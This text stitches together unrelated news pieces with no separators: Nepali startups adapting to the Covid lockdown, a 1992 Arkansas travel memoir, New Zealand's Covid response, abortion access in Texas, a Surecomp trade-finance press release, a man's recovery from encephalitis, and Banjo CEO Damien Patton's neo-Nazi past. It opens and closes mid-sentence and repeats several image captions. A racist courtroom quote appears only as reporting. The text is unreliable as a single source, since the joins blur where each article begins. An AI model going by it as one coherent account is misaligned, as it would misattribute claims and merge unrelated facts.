deliveries. Meanwhile, Dulwas salary payment system has changed for now from monthly to hourly basis as there is no source of income for the company as of now. Shakya confirms, Now, we are paying our staff on the basis of online working hours. Also, we have managed one-month food packages for our staff and their family. Adapting to the crisis It is believed that moulding the products and the services as per the demand and necessity of the time and market is the key to success in the business. Corroborating to this belief, Kokramas owner asserts, We changed our products according to the needs of the market. We started making face masks that are reusable with the cotton weaved by prisoners. The response is overwhelming. Gurung says the company distributed them to many old-age homes and child homes, as well as monasteries, in the Kathmandu Valley with the help of various sponsors. This helped us manage our finances during the Covid-19 situation, and keep our staff employed. Like Kokroma, Offering Happiness also has developed a flexible business model incorporating e-gifts and introducing essential goody delivery operations during this uncertain period. Though regular business activities of the startups have been more or less impacted by this pandemic and the subsequent lockdown, all of them are hopeful of bouncing back even stronger post-lockdown. This piece was originally published as part of The Independents That Summer series. Find out more about it here. The Governors Mansion was a handsome villa in the only wealthy corner of Little Rock. From a distance, or perhaps through a fog of cigar smoke, you could have mistaken the residence of Arkansas top politician for Georgian; in fact, it dates only from 1950. As I strode up the drive for a closer look, three men in bulky jackets appeared and asked me to leave; tours of the mansion, they said, had been cut back for security reasons. Twenty-eight summers ago, a populist Democrat politician named Clinton was striving to replace an unloved Republican president named George Bush as the most powerful politician in the world. And when Clinton trounced the incumbent in the election of November 1992, he put his home state on the map. Just a few months before Clinton won the keys to the White House, I visited Arkansas and found a state content to keep its distance from the rest of the world. Why Little Rock, Arkansas? Why not. In the pre-9/11 days of aviation, Northwest Airlines offered foreign visitors what amounted to a turbocharged, aeronautical version of Europes Interrail. Northwest sold a one-month unlimited travel airpass for $499 (then 335). For under 11 per day, you could spend July or August flying far and wide across the US and Canada, so long as there was a seat available. In the low-density days three decades ago, there usually was space: high fares put routine air travel beyond the reach of many North Americans. For a month, I was on permanent standby, with the small print warning that if a proper fare-paying passenger turned up while the plane was still at the gate, I could be asked to leave the aircraft (politely, not a United Airlines/Dr David Dao-style eviction). The airpass traveller could cut the cost of accommodation still further by taking overnight flights. Those from the West Coast typically departed close to midnight and touched down at the key Northwest hubs of Minneapolis and Memphis at dawn. 25 endangered tourist attractions around the world Show all 25 1 /25 25 endangered tourist attractions around the world 25 endangered tourist attractions around the world Tusheti National Park, Georgia The World Monuments Fund (WMF) has revealed its watch list for 2020, which includes 25 historical and culturally significant sites that are particularly endangered. First up, Tusheti National Park, Georgia WMF 25 endangered tourist attractions around the world Koutammakou, Land of the Batammariba, Benin and Togo WMF 25 endangered tourist attractions around the world Ontario Place, Canada WMF 25 endangered tourist attractions around the world Bennerley Viaduct, United Kingdom WMF 25 endangered tourist attractions around the world Rapa Nui National Park, Chile WMF 25 endangered tourist attractions around the world Alexan Palace, Egypt WMF 25 endangered tourist attractions around the world Bears Ears National Monument, USA WMF 25 endangered tourist attractions around the world Notre-Dame de Paris, France WMF 25 endangered tourist attractions around the world Gingerbread Neighborhood of Port-au-Prince, Haiti WMF 25 endangered tourist attractions around the world Historic Water Systems of the Deccan Plateau, India WMF 25 endangered tourist attractions around the world Sardar Vallabhbhai Patel Stadium, India WMF 25 endangered tourist attractions around the world Mam Rashan Shrine, Iraq WMF 25 endangered tourist attractions around the world Inari-yu Bathhouse, Japan WMF 25 endangered tourist attractions around the world Iwamatsu District, Japan WMF 25 endangered tourist attractions around the world Canal Nacional, Mexico WMF 25 endangered tourist attractions around the world Choijin Lama Temple, Mongolia WMF 25 endangered tourist attractions around the world Traditional Burmese Teak Farmhouses, Myanmar WMF 25 endangered tourist attractions around the world Chivas and Chaityas of the Kathmandu Valley, Nepal WMF 25 endangered tourist attractions around the world Anarkali Bazaar, Pakistan WMF 25 endangered tourist attractions around the world Sacred Valley of the Incas, Peru WMF 25 endangered tourist attractions around the world Kindler Chapel, Pabianice Evangelical Cemetery, Poland WMF 25 endangered tourist attractions around the world Courtyard Houses of Axerquia, Spain WMF 25 endangered tourist attractions around the world Central Aguirre Historic District, USA WMF 25 endangered tourist attractions around the world San Antonio Woolworth Building, USA WMF 25 endangered tourist attractions around the world Traditional Houses in the Old Jewish Mahalla of Bukhara , Uzbekistan WMF Even on domestic flights it was possible to get jet lag. But in those heady days, airlines provided complimentary meals on board. So rather than pay for breakfast at airport prices, it made much more sense to hop on another plane. You could easily spot the airpass brigade: we would hurry from one gate to another, asking if seats were available. Northwests niche before it was swallowed up by giant Delta was to fly to lots of secondary cities the places beyond New York, Miami and San Francisco where real America resides. So one morning I landed in the state capital of Arkansas. At Little Rock airport, the Hertz representative stared blankly at my driving licence. The expiry date, well into the 21st century, was confusing enough; the jumble of letters and numbers in the postcode threw her completely. Is this in France?, she wondered aloud. Later, the proprietor of the Town Lodge was so pleased that anyone from Britain might want to visit his city and stay in his motel that, in a spontaneous and commercially reckless gesture, he upgraded the room and gave me a discount. For many people in a nation that had spent 12 years under Republican presidents, hope was the word that summer. Hope was also the name of the small Arkansas town where William Jefferson Clinton was born in 1946. (His father, also called Bill, died three months before the future president was born, when his car ran into a ditch and overturned. Knocked unconscious by the impact, he drowned in a few inches of water.) In 1953, Bill Clintons mother took her young son to the nearby spa town, Hot Springs, which is where the Arkansas tourist trail really begins (and, arguably, ends). In the summer of 1992, with the Arkansas governor ahead in the polls in the race for the White House, the Chamber of Commerce was already exploiting the Clinton connection by publishing a guide to his childhood haunts. The historic bath houses of Hot Springs (istock) On my first visit to Arkansas that summer, the Park Place Baptist Church was celebrating 90 years of serving Jesus on Park Avenue; some of those years were shared by Bill Clinton. He also enjoyed the outdoor life around the town, which visitors are encouraged to do. The Mountain Trail is a five-mile scenic drive that takes you to a tower at the summit of Hot Springs Mountain. From here, you can (just) see the former presidents high school on Oak Street, which is where he learned to play the saxophone. You can also appreciate why the terrain comprising steep hillsides and narrow valleys, wreathed in evergreens and studded with cottages, is vouched to be Little Switzerland. The label has been misapplied to corners of the world as various as Shropshire and Kazakhstan, but this district of southwest Arkansas has a better claim than most to the title. One canyon is occupied by Bathhouse Row, a string of grandiose sanatoria devoted to the reputed healing powers of steamy water. The Native Americans who originally inhabited this part of the continent regarded the dozens of geysers that bubble from the flank of Hot Springs Mountain as sacred. But early 20th century investors regarded the source as an income stream, and invested in property. Hot Springs may not be as beautiful as Bath, Baden Baden or Bali, but at the time it was a favoured spa destination for Americans. The ailing and the curious faced a journey to Arkansas that today would be classed as an adventure of epic proportions, but yet they still came to take the waters in Hot Springs. Up above the bathhouses, Promenade Row allows you to peer into the backyards of these curious places, and to be splashed with simmering water from occasional rogue springs. The thrill and the custom wore off during the Depression of the 1930s, when disposable income evaporated and the bathhouses emptied of water and people. The slump preserved many of the original features. The Fordyce Bathhouse, built in 1915, boasted an exotic plumbing system that connected a seething spring via a spaghetti of pipes to the vital organs of a complex central super-heating system, which in turn fed features such as the Hubbard tub (a rheumatism treatment) and the electromechano room, full of lethal-looking devices to cure ills and ease pains. The top end of Bathhouse Row shudders beneath the awesome sandstone bulk of the Medical Arts Building, a neo-Gothic tower decorated in Soviet-style motifs that glorify the working man. Of all the Hot Springs shrines to sulphur, the Arlington Hotel is the grandest. The current version opened on New Years Eve 1924, with decor from Venice via Hollywood. Al Capones favourite room was 443, and the gangster took over the entire fourth floor for his well-armed entourage. Starbucks has moved into the writing room, but the hotels bathhouse opens to the public, so you can submerge in splendour. The craggy Arkansas hills melt into standard-issue southern plains as you near Little Rock, a state capital of modest achievement and ambitions, but with plenty of friendly people. The first European arrived in 1722, when Bernard de la Harpe, a French officer, was despatched to explore the Arkansas river. Little Rock was just that; a small boulder that the explorer distinguished from a larger outcrop three miles upriver. With an early example of the kind of environmental insensitivity that characterises the current White House resident [George W Bush] in 1884, the Missouri-Pacific railroad company unceremoniously blew most of the rock up and incorporated the rubble in the foundations of the rail bridge across the river. The city should really be named Little Stump. Before a bright, young governor announced his presidential candidature, Little Rock had made international news only once. Bill Clinton at the Central High School in Arkansas (Getty) (Getty images) Central High School (which faces onto South Park Street between 14th and 15th Streets) is a daunting yellow-brick castle which looks intended for defensive rather than educative purposes. It is also the only operating high school in America to be designated a National Historic Site. In 1957, the Supreme Court ruled that schools had to admit black students, and nine African American teenagers in Little Rock became the focus of the nation. Despite intense provocation from local racist politicians and violence from white families, the children and the civil-rights movement held their nerve. Little Rock drifted back to anonymity. Bill Clintons bid for the most powerful job in the world was run from the old Arkansas Gazette building on the corner of Louisiana and West Third Street. Opposite stood Bennetts Military Supplies, where the survivalist fearing a Democrat victory could stock up on smoke rockets and army-surplus helmets. It closed in 2018. That summer, Little Rock was locked into its small-town ways; Lins Diner on East Capitol Avenue was a faithful example of the American vernacular culinary art, down to the chrome counter and the slow, syrupy drawl of the proprietor. The standard breakfast platter comprised biscuit, a scone-like lump of dough; gravy, a thick and pallid soup tasting vaguely of dripping; and grits: small-bore tapioca devoid of flavour. In that summer of 1992, there was one more potential presidential city to visit: Texarkana, home town to a billionaire named Ross Perot. He did not enjoy great respect (Ronald Reagans speechwriter described him as a hand grenade with a bad haircut), but might have found greater success if he had chosen a campaign manager with a better name than Orson G Swindle. Texarkana, whose name suggests its location straddling the Texas-Arkansas border might have found greater success if it had a better accommodation offering than a boarded-up guesthouse still sporting the sign Hotel Grim. To capitalise on the 15 minutes of fame that Ross Perots failed candidature provided, the local Hospitality Association announced a campaign to enhance Texarkanas image as a must-see city. I found it more of a must-flee city but on the morning I intended to fly out, I found it difficult to leave. Not a taxi was to be found anywhere. So I walked out to the highway and started hitching to the airport. Texarkana marks the border between Texas and Arkansas (iStock) (istock) With time rapidly running out, I was rescued by a carpet salesman, who told me he wanted neither Clinton nor Perot and was a George Bush supporter. He dropped me at the airport seven minutes before the flight left. In those innocent days, that was enough time to get on board. I showed up in some other odd places that summer. Until 10 minutes before the Northwest plane left, I had no idea I wanted to go to Edmonton. The Alberta provincial capital is not overflowing with appeal, but from the point of view of a budget traveller, the relative weakness of the Canadian dollar meant a nights stay would be cheaper than on the US side of the border. And besides, the Airbus A320 had some empty seats. The airpass era ended less than two years later, in April 1994. But Bill Clinton lives on. And so do Little Rock, Hot Springs and Hope. (Photo : TVNZ/Handout via REUTERS) New Zealand Prime Minister Jacinda Ardern and New Zealand Director General of Health Ashley Bloomfield hold a news conference, announcing a 20% pay cut for government ministers and public service chief executives for six months due to the coronavirus disease (COVID-19) impact on the New Zealand economy, in Wellington, New Zealand, in this still image taken from an April 15, 2020 video supplied by TVNZ. After five weeks of strict lockdown, New Zealand has eased the constraints but urged the people to remain vigilant despite beating coronavirus. As the new COVID-19 cases remain on single digits, New Zealand Prime Minister Jacinda Ardern said the country is now on less restrictive restrictions starting today. "That does give us confidence that we've achieved our goal of elimination, which never meant zero but it does mean we know where our cases are coming from," New Zealand's Director-General of Health Ashley Bloomfield said on Monday adding that authorities were still investigating the source of infection. New Zealand allows additional 400,000 people to go back to work, with 75% of the economy now operating, according to Ardern. Also, holding small funerals and buying takeaways are now allowed. However, in a report in TechTimes on Monday, Apr. 27, Ardern is still urging the people to remain vigilant, continue practicing social distancing, and stay at home despite the recent success. "We are not out of the woods," she said at a press conference Tuesday. "(Level three) is a recovery room of sorts to assess if the incredible work that New Zealanders have done ... has worked." "(Level three) is not and cannot be returned to pre-Covid-19 life. That day will come, but it is not here yet," Ardern said. As of Tuesday, according to Johns Hopkins University, New Zealand has an 82% recovery rate or 1,214 out of 1,472 confirmed cases with 19 deaths. These are good numbers, and various factors resulted in this success. Aside from time and location, New Zealand has also practiced good actions: quick response, mass testing, and trust good science. Time and location A month after confirming the first case in the United States, New Zealand only had its first COVID-19 case on Feb. 28. This has allowed the country to learn what other countries are doing to tackle the virus. Also, as an island nation with only a few flights coming in, it was easier to monitor the movement of traffic to and from the country. Quick response Coronavirus has proven to have devastating effects if not contained immediately. And New Zealand indeed acted quickly on the pandemic. On March 14, already with six COVID-19 cases, Arden announced that anyone who enters the country would need to practice self-isolation for 14 days. Five days later, foreigners are banned from entering the country with 28 cases. However, as the confirmed cases reached 102 with no deaths, the country was put on lockdown on March 23. "Decisive action, going hard and going early, helped to stamp out the worst of virus," Ardern said in a statement Tuesday. Arden's prompt decisions gained approval from 87% of New Zealanders, based on a survey by Colmar Brunton. New Zealand is a key departure route to Pacific Islands, so these restrictions also benefit the country's Pacific neighbors. Wide Testing Arden said that New Zealand has ramped up its testing to 8,000 tests per day, totaling 126,066 tests as of today. The high proportion of negative results show the measure is working. According to WHO's Health Emergencies Programs Executive Director, Dr. Mike Ryan, having one positive out of 10 negative test results or at least 9% is a good rate. New Zealand's rate is at 1%. Also, Arden reported on Monday that the country's contagion rate is merely 0.4, which is far below other countries' 2.5 people. Trust good science Meanwhile, earlier this month, Professor Michael Baker of Otago University's Public Health Department mentioned that New Zealand's success is the combination of great leadership and good science. Throughout the pandemic, Ardern and Bloomfield appear together at regular press conferences, with the prime minister usually passing questions from the media to him. Aside from being a public servant, Bloomfield is a qualified public health specialist. A statement on the Ministry of Health website stated his "particular area of professional interest is non-communicable disease prevention and control". "In New Zealand, it has been a wonderful link between good science and brilliant leadership, and the two together are I think are really highly effective," added Baker. Read also: COVID-19 Update: Study Shows People With Positive Antibody Tests Are Still Vulnerable To Coronavirus 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Sarah got a glimpse earlier this month of what a world without legal abortion might look like. Out of work and unexpectedly pregnant, Sarah, 20, had her appointment cancelled when Texas halted most abortion services as a way to preserve medical resources to fight the coronavirus pandemic. Desperate, she searched for a doctor who might offer the procedure under the table, or a pharmacist who might illegally fill a prescription for abortion-inducing pills. She had no car or money, so making the 15-hour drive to New Mexico, the site of the closest provider, was out of reach. But for Sarah, keeping the pregnancy wasn't an option. "One way I can get it safely done, and another I could put my life on the line," said Sarah, who asked that her real name not be used. "It's so scary."As the coronavirus' death toll continues to grow, another public health crisis is emerging. At least eight states have restricted abortion as part of directives banning "non-essential" medical procedures. In Texas, all of the state's abortion providers were forced for stop offering services for more than four weeks. It marked the first time a state has banned legal abortion since Roe v. Wade legalized the procedure nearly 50 years ago. For advocates on both sides of the issue, the experience offered a preview of a world without the landmark Supreme Court ruling. julie-burkhart.jpg Julie Burkhart, Trust Women Foundation. Julie Burkhart "One thing is just crystal clear to us, and that's that this is a little peek through a 'post-Roe' window," said Julie Burkhart, the founder of Trust Women, a network of clinics that provide abortions. As clinics in Texas were forced to turn women away, providers in neighboring states were overwhelmed with patients. At Trust Women, Burkhart's patient-care coordinator worked nearly 100 hours in one week, attempting to schedule a 400% increase in appointment requests at its Kansas and Oklahoma locations. Some days, her clinics have nearly run out of supplies, Burkhart said. Story continues Planned Parenthood's clinics in Colorado, New Mexico and Las Vegas reported a seven-fold increase in patients from Texas while the procedure was unavailable in the state.Many of those patients traveled long distances to get there. Texas patients traveled nearly 2,000% farther to get to the nearest clinic, according to a study from the Guttmacher Institute, a reproductive health research organization. If abortion access were shut down in every state that sought to halt services amid the coronavirus pandemic, the average one-way driving distance to the nearest clinic would have risen 3,625%, to 447 miles from 12, according to data from Guttmacher shared exclusively with CBS News. One operator, Whole Woman's Health, began taking patients at five in the morning to try and accommodate everyone. A parking lot full of out-of-state license plates was a scene that Amy Hagstrom Miller, Whole Woman's Health's founder, said was reminiscent of stories her mentors had told her of delivering abortion services before Roe v. Wade forced all 50 states to offer the procedure. "It reminds me of that, this desperation we're seeing from our patients," Hagstrom Miller said. amy-hagerstrom-miller-whole-womens-health.jpg Amy Hagstrom Miller, Whole Woman's Health. A world without Roe is something Hagstrom Miller and many other providers have been forced to consider. A majority-conservative Supreme Court has made abortion rights more vulnerable than they've ever been. A decision on June Medical Services v. Russo is expected in June, and abortion-rights supporters say it could render Roe virtually meaningless. More than a dozen similar cases are making their way through the judicial process that could have the same effect: overturning Roe or eroding it to a point that the right to an abortion in the United States exists in name only.Without Roe, states would be able to decide for themselves whether to legalize abortion. Abortion-rights group warn the effect would be a patchwork of access and service availability determined by a patient's zip code. "This is exactly what you would see in a post-Roe world," said Nancy Northup, the chief executive officer of the Center for Reproductive Rights, one of the country's biggest law firms defending abortion access. "You'd see these very same states shut off access. It's terrifying."Texas Attorney General Ken Paxton, who says he's been "pro-life" since college, said the state's decision to suspend abortion has nothing to do with his personal beliefs. But Texas and every other state that's tried to halt the procedure amid the pandemic has a long history of regulating abortion. They're home to some of the country's most restrictive policies, like a 24-hour waiting period and state-mandated counseling. carol-tobias-nrlc-700x976.jpg Carol Tobias, president of National Right to Life. National Right to Life For anti-abortion rights activists, overturning Roe is the first step to nationally criminalizing pregnancy termination completely."We're well positioned to go into all 50 states and start trying to change those state laws," said Carol Tobias, the president of National Right to Life, the country's biggest anti-abortion rights group. "Ultimately, we can amend the Constitution. That's a long way down the road, but I think reversing Roe v. Wade and having a state by state battle is going to happen much sooner."Because the recent abortion bans have happened within the context of the virus outbreak, the impact has been greater than would be the case in a 'post-Roe' world. The economic devastation caused by the outbreak has caused some families to hold off on parenthood."We've been hearing from women who've said, 'In any other circumstance I would continue this pregnancy and have my baby,'" Burkhart said. "But at this point they've made the decision within their family, that an abortion would be the best thing." Those making the long treks to neighboring states aren't just stymied by additional cost, but also increased exposure to the virus. "It's many times worse than some of the post-Roe landscapes we've imagined because of the public health crisis," Hagstrom Miller said. In a surprise legal filing, Texas allowed abortion to resume on April 22 along with certain other medical procedures. For Sarah, the news was almost too late. In the nearly month-long stretch that abortion wasn't available, she wasn't able to raise the nearly $1,200 she expected it would cost to pay for gas for a borrowed car and get the procedure done in New Mexico. Now, nearly 19 weeks pregnant, Sarah is trying to get to a clinic near her before she hits 20 weeks, when Texas prohibits abortion procedures, coronavirus or not. "I have rights," Sarah said. "I can't be a mother right now, and right now, I have the right not to be." Hundreds gather for funeral in Brooklyn, violating social distancing rules How people on the autism spectrum are navigating pandemic-forced routine disruption MTV launches "Punk'd" reboot on Quibi starring Chance the Rapper TORONTO, April 28, 2020 /PRNewswire/ -- Surecomp, the leading provider of global trade finance solutions for banks and corporates, today announced the opening of its Application Programming Interfaces (API) architecture to customers in a sandbox testing environment, setting the new open banking standard in the digitization of trade finance processing and connectivity. The APIsure service which is available to banks across the globe, is already being used by some of the largest banks in Europe for real-time processing of their bank guarantees and letters of credit. For existing customers, it can now be trialed, free of charge, in an API sandbox for a limited time period, to highlight the importance of digitized trade finance in the age of COVID-19. As a recognized industry pioneer, Surecomp was asked by major banks to lead the journey towards digital, open banking trade finance. Designed in full cooperation with the banks, APIsure ensures the highest standard of security, compliance, scalability, monitoring and transparency. It offers flexible and agile back-office connectivity, alongside an API management system (APM) and API sandbox. APIsure also includes a developer portal where partners can develop apps and services. Current APIs enable productivity and efficiency as well as data analysis and visualization services. Future developments include advanced risk management, Robotic Process Automation (RPA), Know Your Customer (KYC) functionality and compliance. As a long-standing Surecomp customer across multiple geographies, one of the largest banks in Europe has been the first to go live with an API to Conpend, one of Surecomp's fintech partners providing trade finance document digitization services. This has significantly enhanced the efficiency of their operations while breaking down legacy barriers, improving the time-to-market of trade finance services to its customers and reducing the risk exposure of paper-based transactions. "With world-leading banks already onboard, we are confident our open banking architecture is a game-changer for trade finance processing," explains Tsafrir Attar, VP Digitization at Surecomp. "By providing our customers with the opportunity to trial API connectivity within the safety of the sandbox environment, we are proud to set the standard for real-time paperless connectivity and in turn promote enhanced growth, efficiency, customer satisfaction and collaboration for banks, corporates and fintech companies across the trade finance ecosystem." About Surecomp Surecomp is the leading global provider of innovative trade finance solutions for banks and corporations. A respected market pioneer for over thirty years, Surecomp delivers an integrated portfolio of trade finance, supply chain finance and treasury solutions, streamlining the transaction lifecycle to enhance operational efficiency, mitigate risk and maximize profit. With a global network of seven development and support centers in the US, Argentina, Chile, the UK, Germany, Israel and Singapore, Surecomp serves a prestigious customer base in over eighty countries across six continents. For more information visit surecomp.com/product/apisure. Surecomp Contact: Abby Bickford Director of Marketing Tel: +44-(0)7931-126616 Email: abby.bickford@surecomp.com A high flying operations manager has revealed how a terrifying brain condition that saw him imagining conversations in the bath, wearing odd socks, missing meetings and dressing for work in shorts and a tie made him a 'kinder man'. Martin Bailey, 49, from Hartlepool, County Durham, was heading up the metering operational management centre for Anglian Water when he started feeling shivery and strange back in December 2014. 'I thought maybe it was the flu, although my mind was telling me there was something seriously wrong,' he said. 'I felt quite peculiar and very tired.' As he started feeling more peculiar, father-of-two Martin - who was then working in Cambridgeshire - noticed his colleagues constantly asking if he was alright. Martin Bailey, 49, from Hartlepool, County Durham, was heading up the metering operational management centre for Anglian Water when he started feeling shivery and strange back in December 2014. He is pictured on wedding day with wife Angella Martin (pictured with wife Angella) revealed how a terrifying brain condition that saw him imagining conversations in the bath, wearing odd socks, missing meetings and dressing for work in shorts and a tie made him a 'kinder man' 'They told me I was missing meetings and turning up for meetings that weren't happening,' he said. 'I was feeling shattered and by the start of the 2015 New Year, I knew I was sick and went to the doctor, who diagnosed a chest infection and sent me away with antibiotics.' But soon after he began taking the tablets, his behaviour became strange - leading to his wife, Angella, 37, who works in motor insurance, advising him to stop work. 'Then things started to go really a bit crazy,' Martin recalled. 'I'd come down from the bedroom in the morning wearing different coloured socks, or a shirt and a tie and shorts. 'I wanted to get back to work, but Angella stopped me and said, "You're not going anywhere." WHAT IS ENCEPHALITIS? Encephalitis is an uncommon but serious condition in which the brain becomes inflamed (swollen). It can be life-threatening and requires urgent treatment in hospital. Anyone can be affected, but the very young and very old are most at risk. Encephalitis sometimes starts off with flu-like symptoms, such as a high temperature and headache, but these don't always occur. More serious symptoms develop over hours, days or weeks, including: confusion or disorientation, seizures (fits), changes in personality and behaviour or loss of consciousness. Dial 999 for an ambulance immediately if you or someone else has these more serious symptoms. It's not always clear what causes encephalitis, but it can be caused by viral infections. Several common viruses can spread to the brain and cause encephalitis in rare cases, including the herpes simplex virus (which causes cold sores and genital herpes) and the chickenpox virus. Source: NHS Advertisement 'One evening she got back from work and I was in the bath. She asked what I'd been up to, as I was still on sick leave, and I told her Geoff from next door had been in and had talked to me about a problem with his water bill, while I was in the bath. 'That hadn't happened at all, but my mind was telling me it had. It was absolutely nonsensical.' Convinced something more was wrong with him, Martin returned to the GP, who advised him to finish his course of antibiotics. As he started feeling more peculiar, father-of-two Martin - who was then working in Cambridgeshire - noticed his colleagues constantly asking if he was all right. 'I was feeling shattered and by the start of the 2015 New Year, I knew I was sick and went to the doctor, who diagnosed a chest infection and sent me away with antibiotics,' he said. He is pictured with his dog, Roary He continued: 'Things got worse over the next week or so, until my wife called an ambulance. 'All I remember is getting progressively slower. My mind wasn't working at all. It was like walking through treacle.' Martin was taken to Hinchingbrooke Hospital in Cambridgeshire, where the results of MRI and CT scans showed something abnormal happening to his brain. 'The doctor said it might be a brain tumour or brain cancer or encephalitis, which I had never heard of,' he said. Martin said that while on antibiotics he began hallucinating. 'One evening, she got back from work and I was in the bath. She [Angella] asked what I'd been up to, as I was still on sick leave, and I told her Geoff from next door had been in and had talked to me about a problem with his water bill, while I was in the bath.' He is pictured with Angella 'I now know it's an inflammation of the brain which can be caused either by the body's own immune system going into overdrive and attacking the organ, or by a virus - such as those causing measles, flu and even cold sores. 'I remember feeling like the doctor was talking to someone else and as if I was just watching it happen. 'I also said I hoped it was encephalitis, because I didn't know what it was, whereas I knew the other things could kill you.' Diagnosed with encephalitis, Martin was told his condition was the result of an infection brought on by the common herpes simplex virus, which causes cold sores, even though he had never had one in his life. Diagnosed with encephalitis, Martin was told his condition was the result of an infection brought on by the common herpes simplex virus, which causes cold sores, even though he had never had one in his life. He is pictured at his allotment where he now spends time Martin was in hospital for the whole of February 2015. 'I don't remember a lot about that whole period, but I do recall feeling like it wasn't happening to me,' he said. 'Angella was fabulous. She was there all the time at the hospital and her employer allowed her to take three months off work to look after me.' When Martin returned to his old job seven months later, in September 2015, he soon realised he was no longer well enough to work there. 'I have had to accept I am a very different person now,' he said. 'It's like my brain has been completely redesigned. I'm not driven by the same things. I don't think in the same way. 'At first, I thought my life was over. I thought I'd struggle to work again and wouldn't be able to do much at all. It took a good 18 months to accept that I was now a different person.' But Martin, who has two sons aged 19 and 16 from a previous relationship, soon realised how lucky he was to be alive. When Martin returned to his old job seven months later, in September 2015, he soon realised he was no longer well enough to work there. He is pictured on holiday with Angella According to the Encephalitis Society, 6,000 people a year in the UK are diagnosed with the condition, which will be fatal in 20 per cent of cases. Worldwide, there are half a million new sufferers each year, which equates to one new case every six minutes. And because encephalitis attacks the brain, it can change both a person's personality and their outlook on life. In Martin's case, he believes that voluntary work putting stories together for local media for Christian Aid, before he was well enough to return to full-time employment, made him far more compassionate. Still volunteering for the local fire service as part of a befriending scheme visiting the elderly, he said: 'The biggest change is that I now care about other people. Martin, who has two sons, aged 19 and 16 from a previous relationship, soon realised how lucky he was to be alive. According to the Encephalitis Society, 6,000 people a year in the UK are diagnosed with the condition, which will be fatal in 20 per cent of cases 'When I was really successful and living in the corporate world, I was so focused on results, I just never thought about the people. 'I wasn't a bad manager. I tried to treat people well, but these days, all I do is think about people.' A practising Christian, one of the people Martin met and befriended, following his recovery from encephalitis, was a man who sold the Big Issue. 'Like everyone else, I used to just walk past and ignore him, then one day, he said to me, "Have a good day, be lucky",' he recalled. 'That made me stop. I thought, "This is a Big Issue seller telling me to be lucky. Who am I to just walk past him?"' In the two years between coming out of hospital and returning to paid work, Martin also took on an allotment, which he said greatly helped with his recovery. 'I was there 12 hours a day every day,' he said. 'It played a key part in my mental health recovery - just having the peace and having the time to sit and watch the bees and the birds. 'I'd never done anything like that before and would have laughed if you had told me in my previous life that I would be spending time on an allotment.' Martin's first paid job in 2017 was working as an usher in the magistrates' court in Hartlepool. After that, he became a legal representative for people who had just been arrested and eventually, as he grew stronger, in July 2018 he took a full-time job working in a bank. He is now about to move into the civil service, working as a pensions adviser. Before he got ill, Martin got engaged to Angella, who he met at work, after proposing to her on her birthday in May 2014 at York Minster. Martin's first paid job in 2017 was working as an usher in the magistrates' court in Hartlepool. After that, he became a legal representative for people who had just been arrested and eventually, as he grew stronger, in July 2018 he took a full-time job working in a bank. He is now about to move into the civil service, working as a pensions adviser. 'I was relatively successful until I had encephalitis and the future looked really great. I realised back then, when I was climbing the career ladder. I thought I had to be successful to have a partner like Angella, but now I know she's nothing like that,' said Martin, who tied the knot in December 2016 at St Mary's Church in Easington, County Durham, 10 years after they met. 'I've had to battle to come to terms with the person I am now, and I couldn't have done that without Angella's support. We have a very strong relationship, we laugh at the same things and I've always been very positive, even though that has been challenged. 'There were times when I must have been extremely difficult to live with because of the encephalitis. Your mind plays tricks but if I was questioned, I would get quite angry. I'd never been like that before, so part of me wondered why on earth anyone would stay with me.' Martin has nothing but praise for his wife and for the loyalty and love she has shown him. He continued: 'I can't imagine what it must have been like for her, not knowing whether she was going to have to become a full-time carer, because in those early stages, there was no guarantee I would recover. 'I've always loved Angella but this just shows what a diamond she is. I feel lucky to be alive. 'Encephalitis is a life changing event which makes you reappraise what is important. Life is short and everyone is on a different journey. You don't know what they're going through so just try and be nice.' An August 23, 1992 photograph from The Tennessean shows Damien Patton, left on couch, who pleaded guilty to the drive-by shooting of the West End Synagogue. Newspapers.com Damien Patton, CEO of real-time alerts app Banjo, was involved in a neo-Nazi group as a teenager and was convicted for assisting a drive-by shooting of a synagogue at age 17. Patton testified in a 1992 trial that he drove a KKK gunman to a Tennessee synagogue, where his passenger fired at the street-facing windows and broke glass. No one was killed in the shooting. "We believe that the Blacks and the Jews are taking over America, and it's our job to take America back for the White race," Patton, whose company partners with law enforcement, said in court. Patton's past, unearthed by OneZero on Tuesday, had largely gone unnoticed because his name was misspelled in court filings related to the crimes. The CEO apologized for his past and disavowed white supremacist groups on Tuesday, saying that he had acted out as a teen after suffering abuse as a child. Visit Business Insider's homepage for more stories. Twenty years before founding buzzy real-time alerts startup Banjo, co-founder and CEO Damien Patton was involved with a Tennessee neo-Nazi group and pled guilty to assisting a drive-by shooting of a synagogue in 1990. Patton's neo-Nazi history, reported in 1992 by The Tennessean and unearthed by OneZero on Tuesday, had largely evaded scrutiny in part because Patton's name was misspelled on two court filings related to the crimes. Patton has been profiled by outlets ranging from The Wall Street Journal to The New York Times in recent years without his past KKK affiliations surfacing. Banjo, which Patton cofounded in 2010, has raised over $120 million from backers including SoftBank for its app that aggregates social media posts to help police predict and respond to potential crimes in real-time. According to newspaper archives and court records obtained by OneZero, Patton was part of a white supremacist movement in central Tennessee as a teenager, which he described in court testimony as "the foot soldiers for groups like the Ku Klux Klan and the Aryan Nations." Story continues In 1990, when Patton was 17, he drove a KKK member armed with a pistol to a Nashville synagogue. The KKK member shot out the window of the car, shattering the synagogue's street-facing glass. No one was killed in the shooting, but Patton was charged and pled guilty to "juvenile delinquency" in connection with the crime. "We believe that the Blacks and the Jews are taking over America, and it's our job to take America back for the White race," Patton said at that trial, according to court documents. In a statement to Business Insider on Tuesday, Patton disavowed his past involvement with white supremacists. Patton, who identifies as a person of Jewish heritage, said he suffered abuse as a child that led him to run away from home and seek refuge in white nationalist groups until he joined the US Navy as a young adult. "32 years ago I was a lost, scared, and vulnerable child. I won't go into detail, but the reasons I left home at such a young age are unfortunately not unique; I suffered abuse in every form," Patton said. "I did terrible things and said despicable and hateful things, including to my own Jewish mother, that today I find indefensibly wrong, and feel extreme remorse for. I have spent most of my adult lifetime working to make amends for this shameful period in my life." Banjo currently has a $20.7 million contract with the state of Utah, which was first reported by Motherboard. Banjo can access the state's traffic, CCTV, and public safety cameras, and provides law enforcement with alerts based on social media posts and information from other seemingly-unrelated iOS and Android apps that it owns. The Utah attorney general's office now intends to "fully review" its contract with Banjo in light of Patton's past, which it was not previously aware of, a spokesperson told The Salt Lake Tribune Tuesday. Read OneZero's full report here. Read the original article on Business Insider Email To : Multiple e-mail addresses must be separated with a comma character(maximum 200 characters) Email To is required. Your Full Name: (optional) Your Email Address: Your Email Address is required. The Centers for Disease Control and Prevention have added six new COVID-19 symptoms to watch out for. The original list consisted of three familiar 